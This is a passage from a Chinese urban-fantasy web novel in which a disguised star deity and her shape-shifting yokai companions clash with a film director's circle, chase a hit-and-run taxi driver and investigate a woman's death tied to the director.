女主还在岸上的时候放?展现一下人体描边大师的实力?未免有些太刻意了。 总之,怎么解释都不对,陈志华抓抓头,对导演说:“可能是顾问老师搞错了。” “这也能搞错,还顾问?” 导演也有脾气:“还有一小时要开机了,演员都已经在化妆了,你跟我说搞错了?!” 陈志华马上请来了魏国强和李寅寅,谁惹的事谁来管,别装完逼就跑,把锅甩我们打工人头上。 到了地方,魏国强与导演打了个招呼,就开始解释弩机的作用:“围尸打援嘛,男女主不是要掉到湖里,然后对岸有他们的人接应吗?接应的人肯定站在岸边,那用弩机一扫一大片,把接应的人都杀了?” 岂止是周全,根本叫丧心病狂,按李寅寅修改过的白虎七煞阵,男女主进去就得投胎。 什么掉到水里接吻度气,湿身PLAY,山洞脱衣烤火……统统可以省了,直接大结局,进入下一世。 导演:“确实比原来设计的要严谨,但是,这样的话,男女主也没了,能不能给留一条活路?” 魏国强又给男主出了一个装逼大招,让他拼着中一箭,砍断弩机,带着女主跑路。 “男主受伤?计划里没有这段。”导演想多为自己争取一点自主权。 这是李寅寅喜欢看的桥段,魏国强是她的嘴替。 面对导演的质疑,李寅寅在旁边帮腔:“光水里接吻、在山洞里脱件外套有什么意思,现在宣发传播最多的是男主吐血、男主受伤、男主虚弱。” 导演是个男的,他领悟不到男主虚弱无力有什么好看的,女观众难道不是都爱看牛逼男主踏着七彩祥云来救女主吗? 李寅寅的话,女土蝠深表赞同:“对,现在自发宣传的观众,都爱看这个。” 虽然导演现在在国内已经算一线,不过最近市场疲软,热钱退散,没活干赋闲在家的导演不少,他的咖位还远没有到达可以跟资方掀桌子走人的档次。 反正,也就加那么一点点内容,比起流量明星扎堆的隔壁剧组强。 就连导演都只能提前五小时知道今天要拍什么,艺人自带的编剧疯狂给自家老板加戏,飞页才是本体。 这么一想,导演释然了,痛快地同意。修改拍摄内容。 拍出来的效果相当不错,导演的心情更好了。 导演真情实感地夸赞:“不愧是专家,魏教授,要是您穿越去了古代,绝对是三军统帅。” 魏国强飞快地看了一眼李寅寅,赶紧解释:“我不行,我到古代啊,最多做一个参谋,出出主意。” “魏教授您太客气了。” “真的,要说统筹全局,我比李小姐差多了。” 魏国强把李寅寅夸得天花乱坠,导演顺口说了一句:“李小姐这么厉害,又是魏老的朋友,不如也参加顾问团?” 年年国庆,都要准备献礼片。 有资格拍献礼片的导演全国有那么十几个,且个个都想拍。 能拍上献礼片,代表着受到高层认可的证明,隐形价值很高。 倒贴钱他们都愿意。 有一个大导演想要争取拍献礼片的资格,得知上头特别要求不要再搞“人海战术”,不要再搞无脑冲锋,要展示我军优秀的战术穿插和强大的游击技能。 于是,他正在到处打听有没有真正的战争专家。 今天晚上大导演攒局做东,请几位来自不同军事院校的专家教授吃饭,大家双向选择一下,如果没有什么问题,就可以敲定顾问团的人选了。 魏国强也获得邀请了,上头领导点名就要魏国强,并且说,一定要他,以他的资历、遍布天下的门生和故交,整个片子推进一定会比走正常流程快很多。 魏国强有偶像包袱,觉得自己一个八十多岁的人,身边跟着二十多岁的年轻姑娘,影响不好。 于是,李寅寅是走了小导演的路线进了宴席名单,大导演完全没在意她。 李寅寅进门的时候,已经有几个人到了,他们看见李寅寅也没意外,席间除了李寅寅之外,还有几个年轻漂亮的姑娘,说是剧里需要文工团和战地护士的角色,除了挑军事顾问之外,顺便把这俩也定下来。 席间,大家都表现的很克制,酒过三巡,菜过五味,就开始放飞自我。 那几个姑娘适时的给予他们情绪价值,一位颇有年纪的大佬回忆起自己从军的岁月,他说自己是在草原当兵的,条件艰苦,风雪吹在脸上像刀割一样,那时一腔热血,也不觉得苦。 坐在他左手边的姑娘马上说:“风刀雪剑加身也不退,只为守护祖国,沙教授,您这话深刻呀。” 坐在右手边的姑娘则在小心打探大佬有什么爱好,大佬说喜欢《万历十五年》,她喜欢,大佬说还喜欢《战争论》,她也喜欢,大佬说还喜欢《毛选》,她更喜欢。 大佬问她喜欢毛选的哪一篇,她回答:“每篇都是经典,都喜欢。” 大佬笑道:“我喜欢《实践论》,你看过吗。” “看过。” 大佬好奇道:“哦,我考考你,你觉得里面哪句话送给现在的马导最合适?” 小姑娘傻了,她只是随口那么一说,以前她只要稍微三兜四绕就能转到自己最擅长的话题上面,谁知道今天这个人追问个不停,真当他是老师啊? 马导身旁的助理负责眼观四路,耳听八方,第一时间就注意到了席上的尴尬,他马上大声对大佬说:“这又不是毕业要送同学赠言,既然马导也要选文工团的角色,那就让她唱嘛,来,小珍,唱一首歌送给马导和沙教授。” 小珍如蒙大赦,踩着高跟鞋走到包间中间,唱了一首《草原上升起不落的太阳》。 一曲唱完,马导旁的助理马上叫另一个姑娘:“小舞,你上去给领导们跳一个。” 苗舞面露难色,她知道今天要出席重要宴席,穿着礼服裙来的,那种礼服裙特别紧,稍微多吃一点点,就会显出小肚子,从开席到现在,她就敬了几轮酒,菜是一口都没敢吃。 助理还在不断催促:“快上呀,大家都等半天了。” 其他人都在呵呵呵的看乐子,助理更是开始鼓掌:“来一个!来一个!” 李寅寅开口:“穿成这样怎么跳,胳膊都抬不起来。” 这裙子确实抬不起胳膊,只能抬起小臂,做小幅度的运动,谁会在穿着礼服裙的时候表演“霸王举鼎”。 助理不认识李寅寅,以为她也是来想拿一个角色的,见苗舞确实不愿意跳,他就转移目标:“那你给我们来一个即兴舞蹈?” 魏国强脸色骤变,这人不想活了? 他冷冷道:“赵助理,她不是来表演节目的。” 赵助理喝了几杯酒,已经有点晕乎了。 他以为李寅寅是魏国强的小情人,这把年纪的男人带漂亮小情人出来,不是想表演伉俪情深,而是要向其他男人展示“看,年轻漂亮吧,她死心塌地跟着我”。 在很多男人眼里,能赢得其他男人的羡慕嫉妒,比单纯睡个美女有成就感多了。 还在嘻嘻哈哈:“她们也不是啊,哎,有美女在,活跃活跃气氛嘛。你长这么漂亮,跳舞肯定好看。” 李寅寅微笑看着他:“我又不是同性恋,看什么美女,你长得这么搞笑,来,你给我表演一个……就鸟叔的骑马舞吧,你一边唱江南style,一边跳。” 赵助理的脸色由白转红,由红转紫,气得够呛,以前他跟在马导身边,哪受过这气。 “怎么,不想跳?”李寅寅的笑容一点点收起,眼神变冷,“你还真是会扫大家的兴。” 马导见状,不打圆场是不行了,虽然助理是助理,他是他。 但是,那话怎么说来着,打助理的屁股,就是打他的脸。 打狗也得看主人呐。 他先厉声喝退赵助理:“你这是喝了多少?醉得胡说八道了?!” 接着,又满脸笑容看着李寅寅:“不好意思,他喝多了。” 那笑容僵硬,分明是挤出来给魏国强看的,不是真心给李寅寅赔罪。 “喝多了?正好,来一首贵妃醉酒,我爱听。”李寅寅步步紧逼。 马导变了脸色:“李小姐,这样不好吧。” “是吗?不表演啊,那就算了,告辞。”李寅寅说完,真的站起来就走。 “魏老,您看……”马导把目光转向魏国强,有权势的男人会纵容自己的小情人在家胡闹,但绝不会允许她在外面胡闹的。 魏国强果然皱着眉,缓缓开口。 马导松了一口气:他要教训小情人了! “我以为今天晚上是讨论电影的内容,如果是这种强迫表演,我年纪大,精神不济,就不参加了。” 说着,他就站了起来,也跟着往外走。 在场其他人,不是魏国强的门生故吏,就是能跟门生故吏扯上关系的。 他们跟在魏国强身后,沉默地走出包厢。 马导拿他们一点办法也没有,只能把气撒到赵助理身上,他转身猛猛抽了赵助理一耳光:“你给我滚!” 赵助理吓得连滚带爬,往外跑。 他知道自己失业了,都是这个女人害的。 在门口,他看见李寅的身影,他愤怒地大吼:“你算什么东西,不就是卖身陪老男人睡……” “啪!”不知道从哪里冒出来一个女人,重重抽了他一耳光,似笑非笑看着他:“怎么,你也很想陪老男人睡?这个愿望还是容易满足的。” 李寅寅转过身:“为什么要奖励他?” 女人耸耸肩:“好吧。” 赵助理早已被酒店的保安架开,他眼睁睁地看着从宝马车上下来两个年轻英俊的男人,一个英气阳光,一个温润如玉。 李寅寅左手搂着阳光男的腰,右手勾着温润男的肩,态度十分亲昵。 魏国强不仅不生气,还露出了“小姐很久没有这么笑过”的表情,微微欠身:“慢走,晚安。” 把赵助理给看傻了:“这是什么情况?!” 60-70 第61章 边牧 气氛烘托到位,等几人上了车。 坐在司机座上的薛姗正要启动,被李寅寅提醒:“换双鞋,别给交警逮了。” “啊,忘记了。”薛姗将恨天高脱下来扔一边,换了双平底鞋。 她今天非常开心,为了万圣节出去玩,她买了一身猫女COS服,结果市里说不允许搞万圣节活动,刚巧李寅寅就叫她穿着最拉风的衣服出来装逼,她立马换上了,穿着猫女的衣服真打人,简直就是沉浸式体验,完美! 从后视镜里已经看不见酒店,苏灵衣才吐出一口气,揉了揉脸:“我从来没有板着脸这么长时间,嘴角都酸了。怎么样,对效果还满意吗?” “还行。”李寅寅微笑。 冯墨还是挺直着腰背,一副蓄势待发的模样:“我本来还叫了洪大牛,气场更强大,但是他今天晚上值班。” 李寅寅:“……他就算了,他是公职人员,而且,这车这么小,他进来,你们俩只能跟着车跑。” 冯墨:“今天黄小姐说她发现了一辆厉害的大车,还说想叫黄老爷子买一辆送过来。” 李寅寅十分意外,黄少芸这么有出息? 什么厉害的大车?奔驰商务?加长林肯、凯迪拉克?总不能是京华巡洋舰吧…… 京华巡洋舰,北京环三环著名公交300路,高端奢华上档次,核定人数200人,最高能坐299人……这是李寅寅对载人汽车的最高想象。 前方的车辆停成一条线,最前面是几个交警,手里拿着一根长长的棒子,每个司机都要对着它吹一下。 “查酒驾的,姗姗,你没喝酒吧?” “没。” 一脚刹车停下,降下车窗,薛姗坦坦荡荡对着酒精测试仪大吹一口。 棒子瞬间又红又亮! 众人:“!!!” 薛姗半张着嘴:“不可能!绝对不可能!” 她对着测试仪又用力吹了几口,它还是又红又亮。 拿着测试仪的交警让她先下车。 她哪受过这个委屈,她快气死了:“我一点酒都没喝,这东西坏了!” 李寅寅示意她:“先下车。” 后座的人也陪着她下去。 李寅寅相信薛姗不会说谎骗她,一定是其中有什么误会。 他们三个下车,一是稳定薛姗的情绪,二是……顺便想想看看热闹。 然而…… 冯墨和苏灵衣两个人,是为了装逼吓人而来,穿着一身黑西装,大晚上的也戴着黑墨镜,耳朵上还戴着假装对讲机的玩具。 看起来,就好像黑帮电影里的保镖,会忽然把手伸到西装里,掏出一把枪,对着周围BIU~BIU~BIU的那种。 李寅寅不笑的时候,神色冷峻,眼神犀利,渊渟岳峙,像蓄势待发,随时准备吃人的猛虎。 这三个人,就像黑帮大嫂或女大佬,以及她的两个保镖,在司机被拦了之后,下来要平事。 四个人虽然什么都没干,已经把负责带队的交警给吸引来了。 “怎么回事?”带队警察问道。 李寅寅转头一看……黑白相间的熊猫狗~ 啊不,是一只边牧。 见到他们四人,那只边牧问道:“是谁开的车?” 薛姗气呼呼地的举起手:“我!” “哦……”边牧问道,“如果没有喝酒的话,你好好回忆一下,有没有吃过什么东西,比如蛋黄派、荔枝、榴莲、酒心巧克力?” 薛姗:“我想想……蛋黄派、荔枝咖啡、榴莲千层……除了酒心巧克力都吃了!” 边牧:“真是一只馋猫。” 站在一边的小交警大为震惊:“???” 不,您这……是不是有点暧昧了? 他也不好问你们是不是认识,就尴尬的站在旁边。 “别紧张,”边牧转头对小交警说:“你先去查别人吧,可能是吃的东西有问题,先等三分钟,再吹一次。” 等没人注意这边了,薛姗毫不客气:“哼,你一只边境牧羊犬,怎么混进光荣的警察队伍的?!都不如我们墨墨。” 站在一边的冯墨更加挺直腰背,抬着下巴。 边牧,以其“这么危险,我就不去了”“你让我上?你怎么不上?”等等著名故事名扬天下,警犬的候选名单里是没有边牧的。 边牧不以为意:“狗是狗,边牧是边牧,边牧妖是边牧妖,有了人性的妖,就不是妖了,谢谢理解。” “你们这一车,真有意思,猫、狗……方脸狐狸,还有白骨精。”边牧只能看出李寅寅是人,但是气息又不像人,他只能在自己的认知之内,给李寅寅安排一个身份。 这样的误会也不是一次两次了,李寅寅也懒得多解释。 白骨精就白骨精吧。 只要狗警官不把她叼回家啃了就好。 “你为什么要考编?”李寅寅不明白,边牧的本性就是聪明、服从性差、热情好客,以及胆小,或者说,谨慎。 边牧困惑地看着她:“现在有什么比考编更好的工作吗?今天是临时突击检查,平时我在车管所工作,就管管科三考试。最危险的事也就是有傻逼考科三的时候追尾大客车,就他们考试时候的车速,追尾也严重不到哪里去。职位稳定性来说,永远不会担心车管所倒闭。” 看出来了,这工作是他谨慎仔细、千挑万选的结果,确实真满意。 不愧是边牧。 过了两分钟,边牧拿着酒精检测仪又过来了,让薛姗吹一口,果然,这次提示酒精含量为零。 “好了,你们可以走了。”边牧摆摆手,叫下一辆车过来。 薛姗高傲地一抬头:“我就说了,我没喝酒!” 她要上车,发现其他几个人都没动,他们齐齐望向新开过来的车。 李寅寅:“我没闻错吧。” 冯墨:“绝对没有。” 苏灵衣:“肯定没错。” 薛姗一脸烦躁:“难闻死了,你们干嘛闻得这么起劲。” 那是一辆普通的出租车,车子散发出一股淡淡的血腥味,是人血那种独特的腥气,不是新鲜的,已经被洗过了。 李寅寅的眼睛望向轮胎。 冯墨的眼睛望向车头和挡风玻璃。 苏灵衣的眼睛望向后备箱。 司机非常配合的停车、降窗、吹气,检测仪安静如鸡,酒精显示为零。 边牧却没有让他走,而是检查起了车窗上贴的年检标贴,检查完了年检贴,还让司机出示驾驶证和行驶证,说怀疑他未成年驾驶。 那人高马大的司机一脸懵逼地掏出了小本本,把自己的身份证都掏出来了。 旁边的路人都替他鸣不平:“他起码有一米七七,哪里像未成年了。” 司机马上修正:“是一米八一点五。” 边牧一边低头检查他的证件,一边回答:“现在孩子都长得高,我侄子小学六年级,一米八三,本来以为能进个市少儿篮球队,结果篮球队里个个都是一米九。” 他东拉西扯一通,然后告诉司机:“你的车有五次违章没有处理,这车你不能开走,要暂扣。” “什么?!不可能!”司机急了。 “你先下来。”边牧的声音不容置疑。 那司机忽然一脚油门,车子猛然启动,刮蹭了李寅寅的车后,急打了一个转弯,撞上路中间的隔离花坛,再急打一个转弯,又是一脚油门,车头直对着还没反应过来的辅警撞过去。 李寅寅眼疾手快,一把抓住辅警的胳膊,将他拉开,后视镜撞上了辅警的侧腰,痛得他哎哟一声。 边牧拿起对讲机,请求支援。 薛姗怒道:“来不及了,前面过三个路口就出城了,这混蛋的引擎改装过,等你叫的人来,他早跑没影啦!追啊!”这辆宝马是从饕餮那里借来的,现在后面保险杠被撞瘪,车身还被剐掉了一大块漆。 不叼个人回去扔在饕餮面前,怎么交待。 薛姗跳上司机座位,冯墨也跟着跳上了副驾驶位,苏灵衣钻进右边车门。 边牧不是很想跟着去:“支持马上就到了……你们是民间车辆……” 无奈他甩不开李寅寅如铁钳一般的手,死死地扣着他,硬把他也拖上了车:“所以你更得去了,要是我们被记了违章,你得帮忙作证我们是好人,给我们销了。” 边牧被夹在李寅寅和苏灵衣中间,躲也没处躲,藏也没处藏,只能看着薛姗打着双跳灯,一路狂踩油门向前飙。 晚上出城的车不多,很快就到了空无一人的马路上。 那辆车仗着加了涡轮的引擎,还在前面狂飙。 不仅如此,从驾驶位的车窗里还伸出了一只手,那只手高高地竖着中指。 “喵嗷!!!”薛姗气得发出祖传家乡话,现在四下无人,她一脚将油门踩到底。 那辆出租车是普通桑塔纳私自改装的涡轮增压发动机,最高时速234公里。 饕餮龙总的宝马七系全部选的是顶配,原厂6.6升涡轮增加发动机、8速自动变速箱,最高时速250公里。 没等那只挑衅的手收回车窗,气红了眼的薛姗已经把车开到与出租车并排。 都说女司机胆小、开车“肉”,不敢开快,这司机从来没想过,眼睛一眨,自己就已经能看见怒气冲天的后车司机那烈焰红唇和大烟熏妆了。 冯墨化回原形,降下车窗,蹿进出租车里,对着司机的腿重重咬下去,他痛得惨叫一声,松开油门,他强忍着疼痛,掀开工具箱,抓起里面的救生锤,就要对着冯墨的脑袋敲下去。 手刚抬起来,就瞬间麻木到没了知觉,下一秒,剧痛才从手腕传来。 司机惊恐地看着咬着自己手腕的东西……窗户伸进来一只浑身毛色纯白的老虎脑袋,一双蓝色的眼睛冷冷地看着他,锋利的虎齿已经嵌在他的手腕里,鲜血缓缓从小洞往外流。 此时边牧也化回原形,跳进出租车的窗子,踩下了刹车,还顺便拉起了手刹,打开双跳,一套动作如行云流水,堪称专业。 “啊啊啊啊啊!!!”司机现在快被吓傻了,大喊大叫向车外跑去,然后摔倒在地。 冯墨看着李寅寅:“现在怎么办?他看见我们的原形了。” 妖怪开着车撵人,这事要是传出去,只怕会引来人类法师。 苏灵衣:“要消除他的记忆吗?我来吧,妈妈已经把她的功德给我了,应该能顶一顶,不会太痛。” 擅自消除人类记忆是违背天地法则,动完手,就要被雷劈。 薛姗的眼睛盯着车上那把救生锤:“用法术多浪费,他配吗,用物理攻击也一样。” 全场唯一的体制内执法人员,边牧同志弱弱开口:“不行,那样就能看出外伤了。” 薛姗已经被高分贝噪音吵得十分暴躁:“那就把他敲死、埋了!冯墨、苏灵衣,你们去刨坑,我马上就好。” “你们管他干什么……”看了半天热闹的李寅寅开口说话了,“一会儿等支持的警察来了,他能怎么告状?说他被两只狗和一只老虎咬了?” “可是,他身上确实有齿痕啊。”薛姗指了指司机还在滋滋蹿血的两处伤口。 狗就算了,流浪狗忽然见义勇为过来咬他一口也是说不准的事,但是老虎的齿痕明显跟狗的不一样。 李寅寅觉得很有道理,转头对边牧说:“来,你咬他一口,把我的齿痕盖住。” 边牧犹犹豫豫地过来,轻轻地在虎齿的痕迹上压了压,薛姗在旁边大为不满:“这么轻,哪能盖得住啊!用力!狠狠咬!一边咬一边甩头!把他的手彻底咬烂!” 一切处置妥当后,边牧嘀咕:“那个……其实,还有一个小问题……” “什么问题?” 边牧指了指自己胸口的执法记录仪:“它刚才一直开着……” 李寅寅翻了一个大大的白眼:“早说啊!” 她拨通电话:“小娄,过来……我知道你不会缩地成寸,找鬼金羊,让她带你过来。” 一秒之后,娄金狗和鬼金羊一起到了。 李寅寅指了指边牧身上的执法记录仪:“把拍到的视频处理一下,能做到吗?” 用法术干涉数据不难,难的是编一个什么故事。 “好,我们先开个编剧会……等一下,我先把他们罩上。”被边牧叫来的支援距离他们只有七百米了,李寅寅张开结界,他们会像以为自己走在正确的道路上,在结界里绕来绕去。 “开始吧,”李寅寅首先开口:“这个故事的必要元素是司机、车和疯狂咬他的野狗。” 然后倒推具体情节,比如第一个要解决的问题是,为什么野狗会咬到开着车高速狂飙的司机,他为什么要下车。 撞车翻车都不适用,车没油了也不适用…… 李寅寅托着腮:“查查他有没有吃什么吸什么能致幻的东西,不行的话,只好把少芸也叫来了,他车窗没关好,钻进了一只黄鼠狼,车速太快吓得黄鼠狼放屁,也很合理。” ……不管合理不合理,反正就这样了,这个城市又不是没有黄鼠狼。 苏灵衣仔细查探了司机体内:“真的有,但是不多。” “是什么?冰?海?古?麻?” 苏灵衣摇了摇头:“是蘑菇。” “见手青?”李寅寅好奇,那可是最近网上最火的毒蘑菇。 苏灵衣还是摇头:“是蒂纳纳卡特,一种裸盖菇。” “还是外国货?”李寅寅从来不关心外国的东西。 苏灵衣回答:“是原随云告诉我的,以前的阿兹特克人称它为神之肉,相信吃了它能与神灵对话。现在被精炼成了毒品。” “可以啊,小蝙蝠才来几天,你跟她打听这么多。” 苏灵衣随口应道:“嗯,我习惯收集信息,我的长相和灵力都不如族人,要是一点用都没有,我还有什么脸活着。” 李寅寅笑笑:“要是早点认识你就好了。” 苏灵衣心里一暖。 “……有你这么一个大百科全书,胃土雉一定会很高兴的。” 苏灵衣暖暖的心又变得冰凉。 “你也不用偶像包袱这么重,相貌可以自己变,灵力再强也不能随便杀人,只要遇事能不拖后腿,自己知道找个地方躲起来,就很好了。何况你还这么可爱,会做饭,懂礼貌,知进退,能提供情绪价值,已经超越世间99%的雄性。” 苏灵衣压住上扬的嘴角:“咳,不说这个了,咱们先把剧情顺一下?出租车司机突然冲卡,撞坏了豪车,豪车车主一怒之下,驱车追赶……” 李寅寅:“停,不是一怒之下,是在交警同志的要求下,协助办案。不然显得我们是报私仇飙车。” “……豪车车主应交警要求,追赶出租车,到城外,出租车司机体内的裸盖菇毒素发作,产生幻觉,他停车、下车,惊扰了流浪狗的聚会,被一只流浪狗咬了大腿,被另一只流浪狗咬了手腕,流浪狗被稍后赶到的豪车吓跑,不见踪影……怎么样?合逻辑吗?” 编剧苏灵衣向其他人询问意见。 边牧摇头:“不行,他是在车里被咬的,座位上有血。他身上有什么吸引流浪狗过来咬他的东西吗?” 几个人愁眉苦脸地憋了半天,最后摆烂:用法术把车上的血去掉得了,洗个车而已,不损天道人和,不会挨劈。 司机下车的理由可以靠蘑菇就能混过去,至今医学界都无法保证蘑菇中毒什么时候发作,也不能保证是稳定发作还是间歇发作,还无法保证看到什么幻觉,更不能百分百重现同样的幻觉。 “行,就这样吧,也没有什么更精巧的东西能改了。” 这里的路边没有监控,只要修改边牧身上的执法记录仪就行。 娄金狗负责制作,交通专家边牧负责指点细节,避免出现类似AI画画中的那些离谱错误。 每个人都看了一遍,又各自提同一些问题,娄金狗再哐哐的修改,确定可以了,鬼金羊才带着娄金狗离开,李寅寅打开结界。 三十秒后,引擎呼啸,几辆警车从转弯处出现。 故事就是那么一个故事,执法记录仪也证实了这个故事。 整件事就好像山东那座全国最矮的山:司机冲卡只是田地里的一小块石头,刨着刨着,发现下面连着一整个巨大的山脉。 那辆车,是套牌车,司机顶不住压力,招供他在一个半月前,在一千多公里之外的某个小城,用这辆车的后备箱装过一具没穿衣服的女尸。 那具女尸,是从一栋宾馆的楼顶跳下来死亡的,落在了草地上。 然而,小宾馆里的人居然没一个知道她死了,只知道她没有退房,打她的电话关机,反正房间里也没有行李,只当这个女人是匆匆离开,这种事情在小宾馆里也不少见,兴许是跟有妇之夫乱搞,被人家老婆打上门来抓奸了呢,没调监控没查任何信息,扣了押金,做退房处理了事。 只有一个女服务员提起,这个女人开好房间后,有一个男人进去,那个男人戴着帽子墨镜和口罩,看背影很像马导。 这个女服务员说这事也不是她亲眼所见,只是从同事的手机上看到的一段视频,当时当班的那个同事觉得那个人很像有名的马导,于是多看了几眼,她还调出监控,翻拍了监控屏幕,发送给一堆同事都认一认,看看那是不是马导。 那个女服务员半个月前已经辞职,也没有回老家,调她的出行记录,只知道她肯定没出国,别的都不确定,科技和实名制没有想象的那么发达,又不至于为了找她一个人把全国都封起来,挨家挨户搜。 宾馆的监控只保留一个月,现在早就没了。 案子似乎限入僵局。 从边牧那里得知此事的李寅寅表示不解:“啊?这很难吗?调取马导的记忆不就行了?” 边牧极为震惊:“你可以随便调取人类的记忆吗!!!” 李寅寅更震惊:“你不能吗?你不是妖吗?不是妖都能做到的吗?” 她看着薛姗,薛姗摇头。 再看冯墨,冯墨老实承认:“我做不到。” 苏灵衣苦笑:“我的灵力就不如天生妖体,更看不到了。” 介老头摇头、乐乐傻笑、黄少芸激动:“你可以看到吗!那可以帮超市老板娘看看她到底把一千块钱收到哪里了吗?她都伤心两天了。” 李寅寅告诫她:“你少管闲事,那钱去了哪里,超市老板娘心知肚明,她是不可能跟她老公离婚的,她现在伤心痛苦是做给她老公看,让她老公心怀愧疚。” “啊……你是说……那钱是老板拿的?拿都拿了,老板有什么好愧疚的。” “老板娘觉得会就是会咯,所以叫你少管闲事,这不是第一次了。” “哦……”小小黄鼠狼眨巴着迷茫的眼睛,人类果然是一种复杂的生物,还有很多东西要学习。 李寅寅教完黄少芸装傻的智慧,再回头跟边牧说:“我可以看到马导的记忆,但是如果这段记忆真的有用,怎么让这段记忆科学合理的成为呈堂证供,你能搞定吗?” 边牧完全不想多干活:“……不是,我只是一个交警,这事不归我管啊,这是刑侦的事情。” “真可惜,我还以为你想出出名。” “我才不要,多劳又不多得,出这种名,以后就永无宁日了,说不定我还会被提前轮岗到刑侦……太可怕了!” 李寅寅不解:“你居然不想去刑侦?刑侦多帅啊。交警不是被排挤的人才会去的地方吗?” 边牧哼哼两声:“你是看的港片吧,大陆不是这样的,我愿盯着科目三考试到退休。” 他不愿意,有人愿意。 得知有人命案,郎白热血沸腾,哭着喊着哀求奎木狼把他调到刑侦:“主人,我不怕苦,不怕累,就想破大案!” 奎木狼同意了。 除了李寅寅能查探人类记忆之外,还有青龙七宿和窃了朱雀一部分魂魄的鬼金羊。 现在鬼金羊的能力仅次于李寅寅,在青龙七宿之上,于是,由她负责调看马导的记忆,郎白负责利用这段记忆,用人类的方法进行调查取证。 那天,马导确实进了宾馆,见到了女人……马导走了,是女人送他出门的。 马导走到街上,还听见女人在窗口喊他,他抬头看了女人一眼,女人对他挥挥手。 然后,就没有然后了。 郎白大惑不解:“等一下,见到女人之后,到女人送他之间,发生了什么?总不能是进门就出门吧?” 鬼金羊耸耸肩:“这段确实没有画面。” 郎白:“女人把他迷晕了?” 鬼金羊摇头:“迷晕了也应该有喝水,或者被药布捂住的记忆啊,我调取的记忆不是他记得的记忆,是他真的看见的一切,包括被他忽略的,被他遗忘的。” 郎白怀疑地看着鬼金羊。 他知道鬼金羊是戴罪立功的身份,她心思歹毒,要窃取星君之位。 不忠的乱臣贼子! 一事不忠,事事难信。 郎白有理由相信,她隐藏了一部分真相。 他把此事上报,李寅寅觉得鬼金羊如果故意隐瞒,应该编一段合理的故事,就像她们编司机的故事那样,哪有直接说看不见的,那不是引人怀疑么。 本来李寅寅说自己亲自去一趟,心月狐特别好奇娱乐圈里的八卦,便说李寅寅亲自去是给他脸了。 心月狐自告奋勇化身成美女,扮成想要入娱乐圈的无知少女,跑去一个私密聚会,对马导进行调查,回报的消息与鬼金羊一模一样,同时,她还提供了另一个信息:“……呜呜呜……他旁边的人看破了我的化身,招雷劈我!看我的尾巴尖尖,糊了……” “乖,不哭,狐查案,狐好!人劈狐,人坏!我抓到这个人,帮你烧他头发,好不好?” “好!”心月狐又开心了起来。 李寅寅却没有她这么轻松,会招雷的人。 如果是真的人类,那一定是非常牛逼的法师。 如果不是人,但以心月狐都看不出真实原形的人,那岂不是与自己水平相当? 到底是什么呢? 由于娱乐圈几乎就是靠运气吃饭,信大师的人很多。 他们也会在私密场合向别人介绍自己供奉的萨满、狐仙、仁波切…… 李寅寅找来胃土雉:“你给娱乐圈当顾问也不是一次两次了,有没有听说过圈子里谁供奉的是真法师?” 第62章 第62章 苏大师 “可能有,不过具体我不清楚。”胃土雉诚恳回答。 虽然胃土雉不混娱乐圈,可是他混官场。 虽然他年纪大了,但是他总有亲戚朋友学生老部下要帮着捎带捎带。 按理说这些人不该信,但是,如果真的能做到,也不至于决策靠烧香,干事找风水,在纪委的公告里,时常看到“XXX理想信念丧失,大搞封建迷信活动”。 所以,当胃土雉刚开始参与对外宣传的工作时,确实有圈子里的人有意无意暗示自己有门路认识大仙,大仙可灵了,指点他挂一幅画,就挡了大灾云云。 他抱着收集资料的心思参加过几次私人饭局,其他人对“至圣先师”都客气的不行,居然不顾身份,真的跪拜。 轮到他,一般来说,先师们见他年纪大,免了他的跪拜礼,直接进入主题。 这位先师说他能活到一百三,但是中间有个坎,想过这个坎就得买一幅用天地正气画出的通灵画。 那位先师说他能直上天庭做神仙,但是只有乱世才能出英雄,英雄才能积功德,现在他的功德刚到99.9999%,想要顺利当神仙,就要买一个通天梯。 还有先师说可以安排他去哀牢山密境深处,与隐世上古大神们会面,得到大神们的点化,他就可以念头通达,意念长生不死,只要有电脑网络在,他的意念就能永远活在电脑里,达成机械飞升的效果。 甚至有一个先师说他是天上白虎星宿转世,下凡是为渡劫,劫要是过了,就能一生平安顺遂,害得他反复确认这个先师身份,确定不是擅弄权术的青龙七宿派人来坑他,只是胡说八道而已,这才放下心。 这些所谓的大神都是假货,一个个不说灵气了,就连魔气都没有,就是嘴巴灵巧一些,擅于把握人性而已。 胃土雉不反驳,也不参与,乐呵呵地看他们表演,在心里暗自打分点评。 这么来回几次,他不掏钱,也不给予行事上的方便,很快就没人叫他参加了。 “如果您想找,我可以找到。”胃土雉的脑子里装了所有他能联系上的导演、制片人,以及与他们关系紧密的演员,还有他们信什么,有多信。 只要李寅寅开口,他就能在一个小时之内安排到位。 “胃宿真是一如即往的可靠。”李寅寅笑道。 胃土雉微微欠身:“多年来,我一直秉承星君教诲,虽然我已没有以仙术窥得天下事的能力,不过可以以人力做为弥补。” 李寅寅点点头:“是啊,如果不是这样,你又怎么能总是全身而退。我可听说过你的事迹,什么睡到半夜,忽然睁开眼睛,对勤务兵说敌人来了我们走吧,你们大部队走后十分钟不到,敌人就摸上来了。埋伏的时候趴了一会儿,觉得地势好得邪性,就挪到后面继续埋伏,简直是传奇兵王。” “其实只是我猜中了他们的心思而已,有些我实在摸不清的,就设局让他们以为自己也是这么想的,然后让他们进圈套。您说的那个与敌人相差十分钟,是战士们实在太累了,再赶路只怕会对身体留下严重损伤,我故意派人在县城里把他们的司令拖住,好酒好菜把他灌醉,给战士们争取了六个小时的休息时间。” 李寅寅:“没在酒菜里下毒,真不像你。” “如果下毒,他真死了,必然会惊动另外两路人马,他们会赶来收编队伍,并且上山追赶我们,让一个废物占着位置,对大家都好。” 胃土雉顿了顿:“其实,星君在山中隐居,我也知道。当初孙殿英先盗东陵,后盗裕陵,本来,他还想惊扰星君所在的秘摩崖,是我派人将他的火药盗走。” 盗走之后,没地方堆,他也顺便就起事造反,打着打着,就去了延安。 李寅寅有些意外:“你知道?那你怎么不叫醒我?” “当时星君气息微弱,身旁还有一猫一狗为侍,我想,也许星君需要好好休养,便为星君张开结界,希望您可以早日苏醒。自星君出关之后,我一直关注着您,见您很喜欢市井生活,并没有招回我们的意思,我想,也许您有自己的安排,便没有主动找您,希望星君见谅。” 要这么说,好像也没错,自打发现娄金狗身上一点星官的能力都没有之后,她就不着急找齐白虎七宿了,想先解决力量消失的问题再说。 李寅寅点点头:“好,你先帮我把这事安排上。” 二十分钟后,李寅寅得到胃土雉的回复,已经安排好了,明天是一个姓蓝的男明星的过生日,他打算办一个小型的私人宴会,他会带着他的“至圣先师”来,以及,他的太太,也是圈子里的人,听说她拜狐仙。 